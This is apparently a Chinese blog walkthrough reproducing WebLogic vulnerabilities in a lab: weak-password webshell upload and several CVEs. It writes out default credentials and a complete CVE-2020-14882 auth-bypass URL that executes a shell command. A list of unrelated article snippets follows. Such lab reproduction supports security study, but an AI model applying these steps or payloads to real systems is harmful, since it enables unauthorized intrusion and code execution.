当前位置： 首页 > news >正文

WebLogic 漏洞复现

news 2025/11/13 12:44:36

1、后台弱⼝令GetShell

默认账号密码：weblogic/Oracle@123

weblogic常⽤弱⼝令：https://cirt.net/passwords?criteria=weblogic

这⾥注意， 单个账号错误密码5次之后就会⾃动锁定。

http://47.121.212.195:7001/console

2、登录后台后，点击部署，点击安装，点击上传⽂件。

3、上传war包，jsp⽊⻢压缩成zip，修改后缀为war，上传

一直点击下一步

4、使用工具进行连接

2、CVE-2017-3506

1、验证是否存在wls-wsat组件

http://47.121.212.195:7001/wls-wsat/CoordinatorPortType

2、在当前⻚⾯抓包之后，添加下⾯请求包，反弹shell。

3、CVE-2019-2725

1、http://47.121.212.195:7001/_async/AsyncResponseService  

2、在当前⻚⾯抓包 , 修改请求包 , 写⼊shell

3、访问下载到weblogic服务器上的⽊⻢,进⾏连接

4、CVE-2018-2628

1、

2、直接使⽤利⽤工具

5、CVE-2018-2894

1、这⾥环境后台密码是随机得，获取密码: docker-compose logs | grep password

 2、设置Web服务测试开启

域结构 -> base-domain -> ⾼级 -> 启动Web服务测试页

3、点击保存 , 进⼊ config.do ⽂件进⾏设置，将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录

http://47.121.212.195:7001/ws_utc/config.do
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

4、点击安全 , 点击添加

5、打开控制台, 找到对应时间戳

 

6、Webshell连接

6、CVE-2020-14882

1、访问管理控制台

2、使⽤以下url绕过登录认证

http://47.121.212.195:7001/console/css/%252e%252e%252fconsole.portal

3、⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令
http://47.121.212.195:7001/ console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti me.getRuntime().exec('touch%20/tmp/success');")

相关文章：

WebLogic 漏洞复现

1、后台弱⼝令GetShell 默认账号密码：weblogic/Oracle123 weblogic常⽤弱⼝令：https://cirt.net/passwords?criteriaweblogic 这⾥注意， 单个账号错误密码5次之后就会⾃动锁定。 http://47.121.212.195:7001/console 2、登录后台后&#…...

编程日记 2024/9/27 1:21:51

web基础：域名、网页、HTML、web版本

文章目录 引言域名网站访问方式域名结构域名解析DNS解析过程 网页网页文件类型静态网页与动态网页常用动态网页编程语言 HTMLHTML 语法规则HTML 文件结构HTML 文件基本结构示例：常用 HTML 标签HTML文件基本结构 WEB版本 引言 web（World Wide Web&#x…...

编程日记 2024/9/27 1:20:50

【项目案例】物联网比较好的10+练手项目推荐，附项目文档/源码/视频

练手项目推荐 1 智能小车 项目功能介绍： 本项目由三部分组成：应用端（微信小程序）、设备端（Hi3861）、驱动端（UPS）。 1. 应用端，采用微信小程序作为应用端控制界面。在开…...

编程日记 2024/9/27 1:19:49

AWS注册时常见错误处理

引言 创建AWS账号是使用AWS云服务的第一步，但在注册过程中可能会遇到一些常见的问题。本文中九河云将帮助您排查和解决在创建AWS账户时可能遇到的一些常见问题，包括未接到验证电话、最大失败尝试次数错误以及账户激活延迟等。 常见问题及解决方法 1. …...

编程日记 2024/9/27 1:14:45

Spark-RDD持久化

一、Spark的三种持久化机制 1、cache 它是persist的一种简化方式，作用是将RDD缓存到内存中，以便后续快速访问，提高计算效率。cache操作是懒执行的，即执行action算子时才会触发。 2、persist 它提供了不同的存储级别&#xff0…...

编程日记 2024/9/27 1:13:43

vue2中使用tailwindCss 详细教程

1、先看官方文档：https://www.tailwindcss.cn/ 2、先安装：npm install -D tailwindcss ---------------通过 npm 安装 tailwindcss，然后创建你自己的 create your tailwind.config.js 配置文件。 npm install -D tailwindcss 3、初始化文件—npx tailwindcss init npx ta…...

编程日记 2024/9/27 1:08:38

机器视觉工程师一直做调试，维护岗位，想转岗软件方面C#从零开始，快则三年不到，慢则一辈子不会

其实不是每一家做视觉检测，或者是做设备必须要机器视觉工程师开发，其实公司对标准软件更感兴趣，主要非常高的性价比，省时省钱省人。所以这里有个问题，就是公司平台的重要性，首先他对开发是刚需，…...

编程日记 2024/9/27 1:07:36

【初阶数据结构】详解二叉树 - 树和二叉树（三）（递归的魅力时刻）

文章目录 前言1. 二叉树链式结构的意义2. 手搓一棵二叉树3. 二叉树的遍历（重要）3.1 遍历的规则3.2 先序遍历3.3 中序遍历3.4 后序遍历3.5 遍历的代码实现3.5.1 先序遍历代码实现3.5.2 中序遍历代码实现3.5.3 后序遍历代码实现 4. 统计二叉树结点的个数5.…...

编程日记 2024/9/27 1:02:32

【QT】QWidget 重要属性

文章目录 enabledgeometrywindowTitlewindowIconqrc 机制windowOpacitycursorfontQFont toolTip 和 toolTipDurationfocusPolicyQt::FocusPolicy styleSheet enabled 作用：设置控件是否可使用. true 表⽰可用, false 表⽰禁用. 对应的API bool isEnabled(); // 获…...

编程日记 2024/9/27 1:00:31

什么是数据库连接池？为什么需要使用连接池？

什么是数据库连接池？为什么需要使用连接池？ 什么是数据库连接池？ 数据库连接池是一种创建和管理数据库连接的技术。在传统的应用程序中，每当需要与数据库进行交互时，都会创建一个新的数据库连接。 这种做法虽然简单…...

编程日记 2024/9/27 0:59:30

2024ICPC网络赛第一场C. Permutation Counting 4（线性代数）

题目链接 题目大意：给你n个范围[ l i , r i l_i,r_i li​,ri​]，每个位置可以在这个范围中选择一个数，然后形成排列1到n的排列p。问p的所有情况的个数的奇偶性。 一个很妙的行列式转化，纯纯的线性代数。 首先，我们把…...

编程日记 2024/9/27 0:56:27

01.前端面试题之ts：说说如何在Vue项目中应用TypeScript？

文章目录 一、前言二、使用Componentcomputed、data、methodspropswatchemit 三 、总结 一、前言 与link类似 在VUE项目中应用typescript，我们需要引入一个库vue-property-decorator， 其是基于vue-class-component库而来，这个库vue官方推出…...

编程日记 2024/9/27 0:53:15

【HTTP】方法（method）以及 GET 和 POST 的区别

文章目录 方法（method）登录上传GET 和 POST 有什么区别（面试）区别不准确的说法 方法（method） 首行中的第一部分。首行是由方法、URL 和版本号组成 方法描述了这次请求想干什么，最主要的是&…...

编程日记 2024/9/27 0:52:13

Ubuntu NFS 搭建及配置

在 Ubuntu 上搭建和配置 NFS（Network File System）服务器，可以让其他设备通过网络访问共享的文件夹。以下是步骤指南： 1. 安装 NFS 服务器 首先，安装 NFS 服务器软件包： sudo apt update sudo apt insta…...

编程日记 2024/9/27 0:50:11

双十一好物推荐，这些值得入手的宝藏产品

随着双十一的钟声即将敲响，这个万众期待的购物盛宴就要来临！为了让大家避免在众多的商品中不知所措，妮妮精心筹备了一份购物清单，分享那些我亲身感受超棒，觉得十分值得购买的物品。 这些商品不但价格合理，而…...

编程日记 2024/9/27 0:49:10

秋招内推2025--招联金融

【投递方式】 直接扫下方二维码，或点击内推官网https://wecruit.hotjob.cn/SU61025e262f9d247b98e0a2c2/mc/position/campus，使用内推码 igcefb 投递） 【招聘岗位】 后台开发 前端开发 数据开发 数据运营 算法开发 技术运维 软件测试 产品策…...

编程日记 2024/9/27 0:48:09

C++类和对象——第二关

目录 类的默认成员函数： （一）构造函数 （二）析构函数 （三）拷贝构造函数 类的默认成员函数： 类里面有6个特殊的成员函数分别包揽不同的功能; （一）构造函数…...

编程日记 2024/9/27 0:46:08

服务器数据恢复—raid5阵列热备盘上线失败导致阵列崩溃的数据恢复案例

服务器磁盘阵列数据恢复环境： 服务器中有两组分别由4块SAS硬盘组建的raid5磁盘阵列，两组raid5阵列划分LUN，组成LVM结构，格式化为EXT3文件系统。 服务器磁盘阵列故障： 服务器中一组raid5阵列中有一块硬盘离线&#xff…...

编程日记 2024/9/27 0:43:05

Python与SQL Server数据库结合导出Excel并做部分修改

Python与SQL Server数据库结合导出Excel并做部分修改 需求：在数据库中提取需要的字段内容；并根据字段内容来提取与拆分数据做为新的列最后导出到Excel文件 # -*- coding: utf-8 -*- import pandas as pd import re import pymssql import timestart_ti…...

编程日记 2024/9/27 0:42:04

常见的TTL，RS232，RS485，IIC，SPI，UART之间的联系和区别

简单总结 图片来源 RS232,RS485可参考，IIC，SPI,UART可参考 烧录程序中常听到的一句话就是USB转TTL，但严格来说算是USB传输数据的协议转换成TTL（Transistor-Transistor Logic）协议传输数据。首先，usb是常见…...

编程日记 2024/9/27 0:41:02

css实现圆环展示百分比，根据值动态展示所占比例

代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...

编程新知 2025/11/12 0:21:17

【Linux】C语言执行shell指令

在C语言中执行Shell指令 在C语言中&#xff0c;有几种方法可以执行Shell指令&#xff1a; 1. 使用system()函数 这是最简单的方法&#xff0c;包含在stdlib.h头文件中&#xff1a; #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...

编程新知 2025/10/22 23:35:38

【机器视觉】单目测距——运动结构恢复

ps&#xff1a;图是随便找的&#xff0c;为了凑个封面 前言 在前面对光流法进行进一步改进&#xff0c;希望将2D光流推广至3D场景流时&#xff0c;发现2D转3D过程中存在尺度歧义问题&#xff0c;需要补全摄像头拍摄图像中缺失的深度信息&#xff0c;否则解空间不收敛&#xf…...

编程新知 2025/11/12 20:40:31

postgresql|数据库|只读用户的创建和删除（备忘）

CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...

编程新知 2025/9/18 19:34:22

生成 Git SSH 证书

&#x1f511; 1. ​​生成 SSH 密钥对​​ 在终端&#xff08;Windows 使用 Git Bash&#xff0c;Mac/Linux 使用 Terminal&#xff09;执行命令&#xff1a; ssh-keygen -t rsa -b 4096 -C "your_emailexample.com" ​​参数说明​​&#xff1a; -t rsa&#x…...

编程新知 2025/9/18 11:31:13

论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法（ISWC2024）

笔记整理&#xff1a;刘治强&#xff0c;浙江大学硕士生&#xff0c;研究方向为知识图谱表示学习&#xff0c;大语言模型 论文链接&#xff1a;http://arxiv.org/abs/2407.16127 发表会议&#xff1a;ISWC 2024 1. 动机 传统的知识图谱补全&#xff08;KGC&#xff09;模型通过…...

编程新知 2025/11/11 16:25:12

【AI学习】三、AI算法中的向量

在人工智能&#xff08;AI&#xff09;算法中&#xff0c;向量&#xff08;Vector&#xff09;是一种将现实世界中的数据&#xff08;如图像、文本、音频等&#xff09;转化为计算机可处理的数值型特征表示的工具。它是连接人类认知&#xff08;如语义、视觉特征&#xff09;与…...

编程新知 2025/8/12 22:58:13

企业如何增强终端安全？

在数字化转型加速的今天&#xff0c;企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机&#xff0c;到工厂里的物联网设备、智能传感器&#xff0c;这些终端构成了企业与外部世界连接的 “神经末梢”。然而&#xff0c;随着远程办公的常态化和设备接入的爆炸式…...

编程新知 2025/11/12 8:21:21

零基础在实践中学习网络安全-皮卡丘靶场（第九期-Unsafe Fileupload模块）（yakit方式）

本期内容并不是很难&#xff0c;相信大家会学的很愉快&#xff0c;当然对于有后端基础的朋友来说&#xff0c;本期内容更加容易了解&#xff0c;当然没有基础的也别担心&#xff0c;本期内容会详细解释有关内容 本期用到的软件&#xff1a;yakit&#xff08;因为经过之前好多期…...

编程新知 2025/11/12 8:19:19

Modbus RTU与Modbus TCP详解指南

目录 1. Modbus协议基础 1.1 什么是Modbus？ 1.2 Modbus协议历史 1.3 Modbus协议族 1.4 Modbus通信模型 🎭 主从架构 🔄 请求响应模式 2. Modbus RTU详解 2.1 RTU是什么？ 2.2 RTU物理层 🔌 连接方式 ⚡ 通信参数 2.3 RTU数据帧格式 📦 帧结构详解 🔍…...

编程新知 2025/9/10 17:50:53